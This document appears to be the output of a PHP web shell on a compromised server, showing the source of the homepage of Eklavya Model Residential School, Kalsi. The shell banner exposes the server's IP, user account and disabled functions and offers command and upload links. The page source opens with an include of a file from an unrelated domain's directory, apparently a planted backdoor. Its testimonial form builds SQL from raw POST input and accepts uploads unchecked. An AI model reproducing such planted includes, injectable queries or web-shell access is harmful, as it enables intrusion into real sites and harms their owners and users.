|
Server IP : 86.38.243.181 / Your IP : 216.73.216.51 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u986601745 ( 986601745) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u986601745/domains/emrskalsi.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('/home/u641149403/domains/srstourandtravel.co.in/public_html/include/newrule.php');?>
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>EKLAVYA MODEL RESIDENTIAL SCHOOL- Kalsi, Dehradun</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="The EMRS scheme is run by the Government of India under the Ministry of Tribal Affairs for tribal students across the country . For the smooth functioning of EMRS, NESTS, (National Education Society for Tribal Students) a registered society is set up which works as an autonomous body.">
<meta name="keywords" content="Eklavya Model Residential School, EMRS Kalsi, Tribal Education, Residential School Dehradun, Government Tribal School, Ministry of Tribal Affairs, NESTS, EMRS Admission, Best Tribal School Uttarakhand, EMRS Facilities, EMRS Curriculum, EMRS Dehradun, Tribal Student Education, National Education Society for Tribal Students">
<?php if(isset($_POST['submit'])){
$review=$_POST['review'];
$name=$_POST['name'];
$batch=$_POST['batch'];
$current_status=$_POST['current_status'];
$img=$_FILES['image']['name'];
$image = uniqid().$_FILES['image']['name'];
$path = 'uploads/'.$image;
$sql = $conn->query("INSERT INTO testimonials(image,review,name,batch,current_status) VALUES ('$path','$review','$name','$batch','$current_status')");
if($sql){
move_uploaded_file($_FILES['image']['tmp_name'], $path);
echo '<script>alert("Added successfully"); location.href="index"</script>';
}else{
echo '<script>alert("Oops Something Went Wrong!");</script>';
}
}
?>
<link rel="stylesheet" type="text/css" href="assets/css/index.css">
<script src="https://cdn.jsdelivr.net/npm/jquery@3.4.0/dist/jquery.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.css">
<script src="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.js"></script>
<style>
@media only screen and (min-width: 768px) {
#myCarousel img{
width: 100%;
height: 600px;
object-fit:co
}
}
/*about section*/
.home-content {
padding: 50px;
background-color: #f0f2f4;
text-align: center;
}
.home-content h1{
margin-bottom: 0.26531em;
color: #0a63b1;
font-family: "adelle", serif;
font-size: 3.72222em;
font-weight: 300;
line-height: 1.16327em;
}
.home-content h3{
color: #231f20!important;
margin-bottom: 0.45455em;
font-size: 24px;
font-weight: 300!important;
line-height: 1.36364em;
}
.home-content p:last-child {
margin-bottom: 0;
}
.home-content p {
margin-top: 10px;
font-size: 18px!important;
line-height: 1.44444em!important;
color: #484848;
text-align: center!important;
}
.home-content .btn {
margin-top: 58px;
padding: 12px 45px;
font-size: 20px;
}
@media only screen and (min-width: 768px) {
.about_section{
padding: 0 150px;
}
#gallery1{
margin-top: 112px;
}
.home-life{
margin-top: 150px;
}
}
@media only screen and (max-width: 600px) {
.carousels figure{
width: 100%!important;
}
section {
padding: 15px !important;
}
.home-content,.home-content p{
text-align: justify!important;
}
}
.home-life-nav .nav-tab li .active a{
background-color: #afb1b3;
color: white;
}
body .testimonial {
padding: 50px 0;
}
body .testimonial .row .tabs {
all: unset;
margin-right: 50px;
display: flex;
flex-direction: column;
}
body .testimonial .row .tabs li {
all: unset;
display: block;
position: relative;
}
body .testimonial .row .tabs li.active::before {
position: absolute;
content: "";
width: 50px;
height: 50px;
background-color: #71b85f;
border-radius: 50%;
}
body .testimonial .row .tabs li.active::after {
position: absolute;
content: "";
width: 30px;
height: 30px;
background-color: #71b85f;
border-radius: 50%;
}
body .testimonial .row .tabs li:nth-child(1) {
align-self: flex-end;
}
body .testimonial .row .tabs li:nth-child(1)::before {
left: 64%;
bottom: -50px;
}
body .testimonial .row .tabs li:nth-child(1)::after {
left: 97%;
bottom: -81px;
}
body .testimonial .row .tabs li:nth-child(1) figure img {
margin-left: auto;
margin-left: auto;
width: 125px;
border-radius: 50%;
}
body .testimonial .row .tabs li:nth-child(2) {
align-self: flex-start;
}
body .testimonial .row .tabs li:nth-child(2)::before {
right: -65px;
top: 50%;
}
body .testimonial .row .tabs li:nth-child(2)::after {
bottom: 101px;
border-radius: 50%;
right: -120px;
}
body .testimonial .row .tabs li:nth-child(2) figure img {
margin-right: auto;
max-width: 310px;
width: 290px;
border-radius: 50%;
margin-top: -50px;
height: 290px;
}
body .testimonial .row .tabs li:nth-child(3) {
align-self: flex-end;
}
body .testimonial .row .tabs li:nth-child(3)::before {
right: -10px;
top: -66%;
}
body .testimonial .row .tabs li:nth-child(3)::after {
top: -130px;
border-radius: 50%;
right: -46px;
}
body .testimonial .row .tabs li:nth-child(3) figure img {
margin-left: auto;
margin-top: -50px;
width: 150px;
height: 150px;
border-radius: 50%;
}
body .testimonial .row .tabs li:nth-child(3):focus {
border: 10px solid red;
}
body .testimonial .row .tabs li figure {
position: relative;
}
body .testimonial .row .tabs li figure img {
display: block;
}
body .testimonial .row .tabs li figure::after {
content: "";
position: absolute;
top: 0;
z-index: -1;
width: 100%;
height: 100%;
border: 4px solid #dff9d9;
border-radius: 50%;
-webkit-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
-webkit-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
}
body .testimonial .row .tabs li figure:hover::after {
-webkit-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1);
}
body .testimonial .row .tabs.carousel-indicators li.active figure::after {
-webkit-transform: scale(1.1);
-ms-transform: scale(1.1);
transform: scale(1.1);
}
body .testimonial #carousel > h3 {
font-size: 20px;
line-height: 1.45;
color: rgba(0, 0, 0, 0.5);
font-weight: 600;
margin-bottom: 0;
}
body .testimonial #carousel h1 {
font-size: 40px;
line-height: 1.225;
margin-top: 23px;
font-weight: 700;
margin-bottom: 0;
}
body .testimonial .owl-slider {
margin-top: 42px;
}
body .testimonial .owl-slider p {
font-size: 18px;
line-height: 1.72222;
font-weight: 500;
color: rgba(0, 0, 0, 0.7);
}
body .testimonial .owl-slider h3 {
color: #000;
font-weight: 700;
margin-top: 37px;
font-size: 20px;
line-height: 1.45;
text-transform: uppercase;
}
.ftco-section {
/*padding: 3em 0;*/
position: relative;
}
.blog-entry {
margin-bottom: 30px;
height: 480px;
overflow: hidden;
}
.blog-entry {
border: 1px solid #f5f7f9;
background: #fff;
-webkit-box-shadow: 0px 3px 66px -24px rgb(0 0 0 / 20%);
-moz-box-shadow: 0px 3px 66px -24px rgba(0, 0, 0, 0.2);
box-shadow: 0px 3px 66px -24px rgb(0 0 0 / 20%);
}
.block-20 {
overflow: hidden;
background-size: cover;
background-repeat: no-repeat;
background-position: center center;
position: relative;
display: block;
width: 100%;
height: 270px;
}
.blog-entry .text {
position: relative;
border-top: 0;
border-radius: 2px;
width: 100%;
}
.blog-entry .meta>div {
display: inline-block;
margin-right: 5px;
margin-bottom: 5px;
font-size: 15px;
}
.blog-entry .meta>div a {
color: #8d9db9;
font-size: 15px;
}
.blog-entry .text .heading {
font-size: 20px;
margin-bottom: 5px;
margin-top: 0;
font-weight: 400;
}
.blog-entry .text .heading a {
color: #1b212c;
}
.blog-entry .text .time-loc {
font-size: 14px;
}
.blog-entry .text .time-loc span {
color: #96a1af;
}
.blog-entry .text .time-loc span i {
color: #167ce9;
}
.blog-entry .p-4{
padding: 15px;
}
.bannerimg img{
width: 100%;
height: 435px;
}
@media only screen and (max-width: 600px) {
.bannerimg img{
height: auto;
}
}
.about-sec > h1, .announcements-sec h1 {
color: #292929;
padding: 30px 0 10px;
font-size: 25px;
font-weight: 600;
}
.about-sec > h1 > span {
color: #37a348;
}
.about-sec > h1:after, .announcements-sec h1:after {
content: "";
display: block;
border-bottom: 3px solid #37a348;
width: 45px;
}
.about-sec > a {
border: 1px solid #ddd;
padding: 8px 15px;
float: left;
background: #fff;
margin-top: 20px;
}
@media screen and (max-width: 1680px){
.marq {
padding: 0em 1em 5em 1em !important;
height: 380px!important;
overflow: hidden;
min-height: 312px!important;
}
}
.carousels {
padding: 20px;
perspective: 500px;
overflow: hidden;
display: flex;
flex-direction: column;
align-items: center;
}
.carousels > * {
flex: 0 0 auto;
}
.carousels figure {
margin: 0;
width: 40%;
transform-style: preserve-3d;
transition: transform 0.5s;
}
.carousels figure img {
width: 100%;
box-sizing: border-box;
padding: 0 0px;
background-color: red;
}
.carousels figure img:not(:first-of-type) {
position: absolute;
left: 0;
top: 0;
}
.carousels nav {
display: flex;
justify-content: center;
margin: 20px 0 0;
}
.carousels nav button {
flex: 0 0 auto;
margin: 0 5px;
cursor: pointer;
color: #333;
background: none;
border: 1px solid;
letter-spacing: 1px;
padding: 5px 10px;
}
.about-school-main {
padding: 40px 0;
position: relative;
overflow: hidden;
}
.about-school h1 {
text-transform: capitalize;
font-size: 145%;
}
.about-us-sec h1 span, .about-school h1 span {
color: #090c93 ;
font-weight: normal;
}
.about-school p {
margin: 10px 0 20px;
}
.read-mr-sc a {
background: #FF0000;
color: #fff;
padding: 6px 15px;
font-size: 88%;
margin-top: 10px;
float: left;
transition-duration: 0.5s;
border-radius: 5px;
}
.center-img {
display: block;
margin-left: auto;
margin-right: auto;
margin-bottom: 20px;
width: 40%;
}
.common-cards:nth-child(1) {
background: #0B0B60;
}
.cadrs-col .common-cards {
float: right;
width: 85%;
padding: 5px;
min-height: 95px;
margin: 5px 0;
}
.cadrs-col .common-cards .icon-box {
width: 120px;
float: left;
text-align: center;
padding: 12px;
height: 85px;
line-height: 58px;
}
.common-cards:nth-child(1) .icon-box {
background: #030338;
}
.cadrs-col .common-cards .content-box {
float: left;
width: 62%;
text-align: center;
}
.cadrs-col .common-cards .content-box h4 {
color: #fff!important;
font-weight: 400;
margin-top: 10px;
margin-bottom: 12px;
font-size: 117%;
}
.cadrs-col .common-cards .content-box a {
color: #fff;
border: 1px solid #fff;
padding: 3px 18px;
box-sizing: border-box;
border-radius: 7px;
}
.common-cards:nth-child(2) {
background: #ff0000;
}
.common-cards:nth-child(2) .icon-box {
background: #cb0808;
}
.common-cards:nth-child(3) {
background: #066eab;
}
.common-cards:nth-child(3) .icon-box {
background: #00508d;
}
.common-cards:nth-child(4) {
background: #1c9248;
}
.common-cards:nth-child(4) .icon-box {
background: #0d7132;
}
.cadrs-col .common-cards:nth-child(1) .content-box a:hover {
background: #030338;
border-color: #030338;
}
.cadrs-col .common-cards:nth-child(2) .content-box a:hover {
background: #cb0808;
border-color: #cb0808;
}
.cadrs-col .common-cards:nth-child(3) .content-box a:hover {
background: #00508d;
border-color: #00508d;
}
.cadrs-col .common-cards:nth-child(4) .content-box a:hover {
background: #0d7132;
border-color: #0d7132;
}
#block-block-6 .outer {
align-items: center;
justify-content: center;
}
#block-block-6 .card {
background: #0B0B60;
width: 100%;
display: flex;
align-items: center;
padding: 20px;
margin-top: 20px;
opacity: 1;
border-radius: 100px;
}
.outer:hover .card {
animation-play-state: paused;
}
#block-block-6 .card .contents {
width: 65%;
align-items: center;
text-align: center;
}
#block-block-6 .card .img {
height: 90px;
width: 90px;
position: absolute;
left: 8px;
margin-top: -15px;
background: #fff;
border-radius: 50%;
padding: 5px;
box-shadow: 0px 0px 5px rgba(0, 0, 0, 0.2);
}
#block-block-6 .card .img img {
height: 100%;
width: 100%;
border-radius: 50%;
object-fit: cover;
}
#block-block-6 .card .details {
margin-left: 80px;
}
#block-block-6 .details h3 {
color: #fff!important;
}
#block-block-6 .card a {
text-decoration: none;
padding: 7px 18px;
border-radius: 25px;
color: #fff;
background: #ff0000;
transition: all 0.3s ease;
}
#block-block-6 .card a:hover {
transform: scale(0.94);
}
.gallery-image{
width: 100%;
height: 190px;
}
.region-content p{
text-align: justify!important;
}
.marquee_line{
position: absolute;
background: red;
z-index: 1;
margin-top: 20px;
padding: 5px 0;
color: #fff!important;
font-size: 20px;
font-weight: 600;
width: 100%;
}
.marquee_line span{
display: inline-block;
}
.marquee_line span a{
background: #000;
padding: 5px 10px;
color: #fff;
border-radius: 4px;
}
</style>
<?php include('include/header.php');?>
<div class="marquee_line"><marquee onmouseover="this.stop();" onmouseout="this.start();"> <!--<span>Eklavya Kalsi/Mehrwana-Walk in Interview for Guest-Teacher/Part-Time | Reservation as per norms(SC, ST & OBC)</span>
<span><a href="images/eklavya.jpeg" download>Click Here</a></span>-->
<?php
$q = "select * from marquee";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<ul>
<p
href="admin/<?php echo $res['file'] ?>" download id='MzQxNTI=-556'
lang="en" href='#' class="link pad-left"style="color:#fff;" ><?php echo $res['marquee'] ?> <span><a href="admin/<?=$res['file']?>" download>Click Here</a></span></p>
</ul>
<?php } ?>
</marquee> </div>
<?php
$sql = "select * from slider";
$query = mysqli_query($conn,$sql);
while($rows = $query->fetch_assoc()) {
$slider_data[]=$rows;
}
?>
<div id="myCarousel" class="carousel slide" data-ride="carousel">
<!-- Indicators -->
<ol class="carousel-indicators">
<?php
$i=0;
foreach($slider_data as $row){
$actives = '';
if ($i==0) {
$actives='active';
}
?>
<li data-target="#myCarousel" data-slide-to="<?php echo $i;?>" class="<?php echo $actives;?>"></li>
<?php $i++; } ?>
</ol>
<!-- Wrapper for slides -->
<div class="carousel-inner">
<?php
$i=0;
foreach($slider_data as $rows){
$actives = '';
if ($i==0) {
$actives='active';
}
?>
<div class="item <?php echo $actives;?>">
<img src="admin/<?php echo $rows['image'];?>">
</div>
<?php $i++; } ?>
</div>
<!-- Left and right controls -->
<a class="left carousel-control" href="#myCarousel" data-slide="prev">
<span class="glyphicon glyphicon-chevron-left"></span>
<span class="sr-only">Previous</span>
</a>
<a class="right carousel-control" href="#myCarousel" data-slide="next">
<span class="glyphicon glyphicon-chevron-right"></span>
<span class="sr-only">Next</span>
</a>
</div>
<!-- banner -->
<div class="container-fluid mt-10">
<div class="row mx-0">
<!-- <div class="col-xs-12 col-md-9 col-lg-9 no-paddingr">
<div class="bannerimg">
<?php
$q = "SELECT * FROM banner";
$result = mysqli_query($conn,$q);
$banner = mysqli_fetch_assoc($result);
?>
<img src="admin/<?php echo $banner['image'] ?>" class="img-fluid">
</div>
</div> -->
<div class="col-lg-4 col-md-4 col-sm-12 col-xs-12 mb-10">
<div class="about-sec wow fadeInUp animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInUp;">
<div class="ap-section text-centers draw">
<div class="headline"><h2 class="headlinehome " style="width: 200px;font-size: 35px!important;">About Us</h2>
<!-- xpert -->
</div>
</div>
<div class="region-content text-justify"><?php
$q = "SELECT * FROM about limit 1";
$result = mysqli_query($conn,$q);
$row = mysqli_fetch_assoc($result);
?>
<?php echo $row['about'] ?></div>
<a href="about-emrs-kalsi" title="Read More">Read More</a></div>
</div>
<div class="col-lg-4 col-md-4 col-sm-6 col-xs-12 mb-10">
<div class="school-sec wow fadeInUp animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInUp;"> <img style="width:100%;" typeof="foaf:Image" src="admin/<?php echo $row['img'] ?>" width="362" height="382" alt=""> </div>
</div>
<div class="col-xs-12 col-md-4 col-lg-4 col-sm-12 mb-10">
<!-- <div class="ap-section ">
<div class="ap-plain">
<div class="headline" id="headlines">
<h2 style="margin:0;">Latest News</h2>
</div>
<div>
<h4 id="h2sl4gmvde6r88ecf1anctyr17i1dwt" style="margin-top:-20px;"> </h4>
</div>
<p>
</p>
</div>
</div> -->
<div class="marq">
<div class="ap-section text-centers draw">
<div class="headline">
<h2 class="headlinehome " style="color:#fff!important;width: 200px;">Latest News</h2>
</div>
</div>
<marquee scrollamount="4" behavior="scroll" direction="up" onmouseover="this.stop();"
onmouseout="this.start();" style="height: 312px;">
<?php
$q = "select * from latest_news";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<ul>
<p class="pad-top double"><i class="fa fa-check-square-o"
style="font-size:18px; color:orange;"></i><a
href="admin/<?php echo $res['file'] ?>" download id='MzQxNTI=-556'
lang="en" href='#' class="link pad-left"><?php echo $res['description'] ?><i
class="fa fa-file-pdf-o red_pdf pad-left"></i></a></p>
<hr>
</ul>
<?php } ?>
</marquee>
</div>
<style>
.marq p {
margin: 0;
font-family: 'Open Sans';
font-size: 13px !important;
color: #fff !important;
line-height: 1.9em;
letter-spacing: 0px !important;
text-align: justify;
text-transform: uppercase !important;
}
</style>
<script>function showDiv() {
document.getElementById('archiveDiv').style.display = "block";
document.getElementById('hd').style.display = "block";
document.getElementById('sh').style.display = "none";
}
function hideDiv() {
document.getElementById('archiveDiv').style.display = "none";
document.getElementById('hd').style.display = "none";
document.getElementById('sh').style.display = "block";
}
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < 5; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
function filedownload(id, lang) {
//alert(lang);
let jj = id.split("-")
//let lang=$("#"+id).attr("ln");
//alert(jj[0]);
//alert(jj[1]);
//alert(lang)
//var ln="en";
$.ajax({
type: 'post',
url: '/nvs/system/modules/NVS.School/elements/download_file_notifications.jsp',
data: { lang: lang, num_srno: jj[0], schoolid: jj[1] },
success: function (data) {
//console.log(data);
/* var bytes = new Uint8Array(data); // pass your byte response to this constructor
var blob=new Blob([bytes], {type: "application/pdf"});// change resultByte to bytes
var link=document.createElement('a');
link.href=window.URL.createObjectURL(blob);
link.download="myFileName.pdf";
link.click();*/
var sampleArr = base64ToArrayBuffer(data);
saveByteArray(makeid(), sampleArr);
}
});
}
function base64ToArrayBuffer(base64) {
var binaryString = window.atob(base64);
var binaryLen = binaryString.length;
var bytes = new Uint8Array(binaryLen);
for (var i = 0; i < binaryLen; i++) {
var ascii = binaryString.charCodeAt(i);
bytes[i] = ascii;
}
return bytes;
}
function getMobileOperatingSystem() {
var userAgent = navigator.userAgent || navigator.vendor || window.opera;
// Windows Phone must come first because its UA also contains "Android"
if (/windows phone/i.test(userAgent)) {
return "Windows Phone";
}
if (/android/i.test(userAgent)) {
return "Android";
}
// iOS detection from: http://stackoverflow.com/a/9039885/177710
if (/iPad|iPhone|iPod/.test(userAgent) && !window.MSStream) {
return "iOS";
}
return "unknown";
}
function saveByteArray(reportName, byte) {
//
var os = getMobileOperatingSystem();
if (os == "iOS") {
var reader = new FileReader();
var out = new Blob([byte], { type: "application/pdf" });
reader.onload = function (e) {
window.location.href = reader.result;
}
reader.readAsDataURL(out);
}
else {
var blob = new Blob([byte], { type: "application/pdf" });
var url = window.URL.createObjectURL(blob);
//window.open(url);
var a = document.createElement("a");
document.body.appendChild(a);
a.href = url;
a.download = reportName;
a.click();
setTimeout(function () { window.URL.revokeObjectURL(url); }, 1000);
}
};
</script>
</div>
</div>
</div>
<div class="container-fluid">
<div class="banner-bottom-agileits commw" id="about">
<div class="about_us " id="abtus">
<div class="col-xs-12 col-md-4 12 col-lg-4 12 col-sm-12 cont_mes">
<div class="ap-section text-centers draw">
<div class="headline">
<h2>
<h2 class="headlinehome ">Message</h2>
</h2>
</div>
</div>
<?php
$q = "SELECT * FROM principal_message WHERE page_title='Principal Message' limit 1";
$result = mysqli_query($conn,$q);
$principal = mysqli_fetch_assoc($result);
?>
<div class="row ap-section mes_school">
<div class="col-sm-4">
<div class="ap-image-section">
<div class="ap-image">
<div class="animated-box ">
<div class="image-outer-box">
<img src="admin/<?php echo $principal['image'] ?>"
width="4759" height="5334" class="img-responsive image-inner-box "
alt="" title="">
</div>
</div>
</div>
</div>
</div>
<div class="col-sm-8">
<div class="headline">
<h2><?php echo $principal['name'] ?></h2>
</div>
<div class="ap-plain">
<div>
<div class="connermes" style="background: #eee;">
<p class="left-txt">Principal/Head of Institution &</p>
<p class="left-txt"> Eklavya School</p>
<!--<p class="left-txt"><a class="orange" href="http://10.10.36.74:8080/nvs/ro/Hyderabad/en/About-Us/Commissioners-Message/" target="_blank" rel="noopener noreferrer">Read More</a></p>-->
<p class="left-txt"><a class="orange"
href="principal-message"
target="_blank" rel="noopener noreferrer">Read More</a></p>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-md-8 12 col-lg-8 12 col-sm-12 cont_mes">
<div class="ap-section draw">
<div class="headline">
<h2>
<h2 class="headlinehome">Vision</h2>
</h2>
</div>
</div>
<div class="row ap-section about-sc">
<div class="col-sm-12">
<div class="headline">
<h2>
<h2 style="display:none;">Vision</h2>
</h2>
</div>
</div>
<div class="col-sm-8">
<div class="ap-plain">
<div>
<div class="vi">
<p><em class="fa fa-quote-left" aria-hidden="true"> </em>The aim of the school is to provide modern quality education to the talented students of the five tribes of Uttarakhand and to help them in their overall development not only in being just good scholars but good human beings with moral values who will spread their goodness like a flower that spreads its fragrance all around. <em> </em><em class="fa fa-quote-right"
aria-hidden="true"> </em></p>
</div>
</div>
</div>
</div>
<div class="col-sm-4">
<div class="ap-image-section">
<div class="ap-image">
<div class="animated-box ">
<div class="image-outer-box">
<img src="system/modules/NVS.WEB/resources/images/about0d48.jpg?__scale=w:300,h:176"
width="300" height="176" class="img-responsive image-inner-box "
alt="" title="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- about section -->
<!-- <div class="container-fluid" style="padding:0 15px!important;">
<section class="home-content border-diag-bottom">
<div class="about_section">
<div class="grid_14 push_2">
<div class="headline" id="headlines">
<h2>About us</h2>
</div>
<?php
$q = "SELECT * FROM about limit 1";
$result = mysqli_query($conn,$q);
$row = mysqli_fetch_assoc($result);
?>
<?php echo $row['about'] ?>
</div>
<div class="clear"></div>
<div class="grid_4 push_7">
<a href="about.php" class="btn">Learn More</a>
</div>
</div>
</section>
</div> -->
<div class="about-school-main">
<div class="container-fluid">
<div class="row">
<div class="col-lg-7 col-md-12 col-sm-12 col-xs-12">
<div class="about-school wow fadeInLeft animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInLeft;">
<div class="region region-school-about-us">
<div id="block-views-school-about-kv-block" class="block block-views">
<div class="">
<div class="view view-school-about-kv view-id-school_about_kv view-display-id-block view-dom-id-8f31d6451248b0b94f2d324bb279185a">
<div class="view-content">
<div class="views-row views-row-1 views-row-odd views-row-first views-row-last">
<div class="views-field views-field-nothing">
<span class="field-content">
<div class="headline">
<h2 class="headlinehome w-100">School Activities</h2>
</div>
<div class="ap-section text-centers draw">
</div>
<p>Striving to provide a well balanced spiritual, academic and social well-being, students are encouraged to both serve and participate in and beyond our community. With plenty of room for opportunity, students can engage in over forty
<p>Few decisions have the lasting impact on your child as that of your school choice. During these formative years, life-long friendships will be made, spiritual formation will take place, and values will be instilled. The First Academy is here to partner with you in making those days the very best that they can be.</p>
<div class="read-mr-sc">
<a href="about-emrs-kalsi" title="Read More">Read More</a>
</div>
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--Cards-->
<div class="col-lg-5 col-md-12 col-sm-12 col-xs-12">
<div class="cadrs-col">
<!-- <div class="acd-res">
<img class="center-img" src="https://ongcdehradun.kvs.ac.in/sites/all/themes/school/images/AR.png" />
</div> -->
<div class="region region-school-about-right-link">
<div id="block-block-6" class="block block-block">
<div class="">
<div class="card wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="contents">
<div class="img"><img src="images/painting.png"></div>
<div class="details">
<h3 class="name">Art & Craft</h3>
</div>
</div>
<a href="art-and-craft" title="View More">View More</a>
</div>
<div class="card wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="contents">
<div class="img"><img src="images/sports.png" alt=""></div>
<div class="details">
<h3 class="name">Games and Sports</h3>
</div>
</div>
<a href="games-and-sports" title="View More">View More</a>
</div>
<div class="card wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="contents">
<div class="img"><img src="images/students.png" alt=""></div>
<div class="details">
<h3 class="name">Tribe wise Students</h3>
</div>
</div>
<a href="tribe-wise-student">View More</a>
</div>
<div class="card fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="contents">
<div class="img"><img src="images/students.png" alt=""></div>
<div class="details">
<h3 class="name">Student Strength</h3>
</div>
</div>
<a href="student-strength">View More</a>
</div>
<!-- <div class="common-cards wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="icon-box">
<img src="images/creative-corner-icon.png" alt="creative Corner" />
</div>
<div class="content-box">
<h4>Art & Craft</h4>
<a href="art-and-craft" title="View More">View More</a>
</div>
</div>
<div class="common-cards wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="icon-box">
<img src="images/news-icon.png" alt="News" />
</div>
<div class="content-box">
<h4>Games and Sports</h4>
<a href="games-and-sports" title="View More">View More</a>
</div>
</div>
<div class="common-cards wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="icon-box">
<img src="images/alumni-icon.png" alt="Alumni" />
</div>
<div class="content-box">
<h4>Tribe wise Students</h4>
<a href="tribe-wise-student" title="Click Here" target="_blank">Click Here</a>
</div>
</div>
<div class="common-cards wow fadeInRight animated" data-wow-duration="2s" data-wow-delay="0.2s" style="visibility: visible; animation-duration: 2s; animation-delay: 0.2s; animation-name: fadeInRight;">
<div class="icon-box">
<img src="images/studentstrength.png" alt="Posco" />
</div>
<div class="content-box">
<h4>Student Strength</h4>
<a href="student-strength" title="Register Now!" target="_blank">View More!</a>
</div> -->
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- next section -->
<!-- <section class="container-fluid home-life border-diag-bottom">
<div class="home-life-side">
<div class="home-life-side-img" style="background-image: url(images/school.jpg)"></div>
</div>
<div class="home-life-side">
<div class="home-life-side-img" style="background-image: url(images/act4.png)"></div>
<div class="home-life-side-shadow home-life-side-shadow-top"></div>
<div class="home-life-side-shadow home-life-side-shadow-bottom"></div>
</div>
<div class="container_18">
<div class="home-life-nav nav-tab-wrap-wrap">
<div class="grid_10 push_4">
<ul class="nav-tab">
<li class="active"><a data-toggle="tab" href="#student_life">Student Life</a></li>
<li><a data-toggle="tab" href="#adminission">Admissions</a></li>
</ul>
</div>
</div>
<div class="clear"></div>
<div class="tab-content nav-tab-content-wrap nav-tab-content-wrap">
<div id="student_life" class="tab-pane nav-tab-content fade in active" >
<div class="grid_10 push_4">
<h3>Student life at The Eklavya is a rich and vibrant experience.</h3>
<p></p>
<p>Striving to provide a well balanced spiritual, academic and social well-being, students are encouraged to both serve and participate in and beyond our community. With plenty of room for opportunity, students can engage in over forty sports, the arts, and equally many student driven clubs.</p>
</div>
<div class="clear"></div>
<div class="grid_4 push_7">
<a href="javascript:void(0)" class="btn" style="font-size:10px;">Learn More</a>
</div>
</div>
<div id="adminission" class="tab-pane nav-tab-content fade">
<div class="grid_10 push_4">
<h3>Make your first choice the right choice.</h3>
<p class="p1">Few decisions have the lasting impact on your child as that of your school choice. During these formative years, life-long friendships will be made, spiritual formation will take place, and values will be instilled. The First Academy is here to partner with you in making those days the very best that they can be.</p>
</div>
<div class="clear"></div>
<div class="grid_4 push_7">
<a href="javascript:void(0)" class="btn">Learn More</a>
</div>
</div>
</div>
</div>
</section> -->
<div class="container-fluid" id="gallery1">
<div class="nobap">
<div class="">
<div class="gallery1">
<div class="ap-section">
<div class="ap-plain">
<div>
<h3 class="home-galery">Gallery</h3>
</div>
</div>
</div>
<style>
.nobap{
padding-left: 15px!important;
padding-right: 15px!important;
}
#gallery_slider .owl-nav button {
position: absolute;
top: 50%;
background-color: #000;
color: #fff;
margin: 0;
transition: all 0.3s ease-in-out;
}
#gallery_slider .owl-nav button.owl-prev {
left: 0;
}
#gallery_slider .owl-nav button.owl-next {
right: 0;
}
#gallery_slider .owl-dots {
text-align: center;
padding-top: 15px;
}
#gallery_slider .owl-dots button.owl-dot {
width: 15px;
height: 15px;
border-radius: 50%;
display: inline-block;
background: #ccc;
margin: 0 3px;
}
#gallery_slider .owl-dots button.owl-dot.active {
background-color: #000;
}
#gallery_slider .owl-dots button.owl-dot:focus {
outline: none;
}
#gallery_slider .owl-nav button {
position: absolute;
top: 50%;
width: 40px;
height: 40px;
border-radius: 50%;
transform: translateY(-50%);
background: rgb(7 9 98 / 52%) !important;
}
#gallery_slider span {
font-size: 45px;
position: relative;
top: -14px;
}
#gallery_slider .owl-nav button:focus {
outline: none;
}
</style>
<div class="owl-slider">
<div id="gallery_slider" class="owl-carousel">
<?php
